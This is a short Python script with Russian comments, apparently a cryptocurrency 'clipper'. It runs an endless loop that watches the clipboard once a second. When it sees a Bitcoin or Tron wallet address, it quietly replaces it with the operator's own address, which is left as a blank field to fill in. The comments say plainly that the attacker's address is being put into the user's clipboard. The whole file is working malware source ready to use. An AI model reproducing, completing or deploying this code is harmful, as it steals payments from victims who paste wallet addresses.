import pyperclip        # Импорт библиотеки для работы с буфером обмена
from time import sleep      # Импорт библиотеки для остановки программы на время
import re

btc = ''           # Ваш BTC-Адрес
btc_len = [26, 27, 28, 29, 30, 31, 32, 33, 34, 35]  # Не трогать
tron_adr = ''


tron_pattern = re.compile("T[A-Za-z1-9]{33}")
bc_regex = re.compile('bc(0([ac-hj-np-z02-9]{39}|[ac-hj-np-z02-9]{59})|1[ac-hj-np-z02-9]{8,87})')

# Бесконечный цикл
while True:
    clipboard = pyperclip.paste() # Получаем содержимое буфера обмена

    if bc_regex.match(clipboard):
        if clipboard != btc:
            pyperclip.copy(btc) #Заносим пользователю в буфер bt

    elif tron_pattern.match(clipboard):
        if clipboard != tron_adr:
            pyperclip.copy(tron_adr) #Заносим пользователю в буфер tron

    elif len(clipboard) in btc_len and (clipboard[0] == '1' or clipboard[0] == '3'):
        # Если содержимое не равно нашему BTC-Адресу, то...
        if clipboard != btc:
            pyperclip.copy(btc) # Заносим пользователю в буфер свой биткоин-адрес

    else:
        pass

    sleep(1)
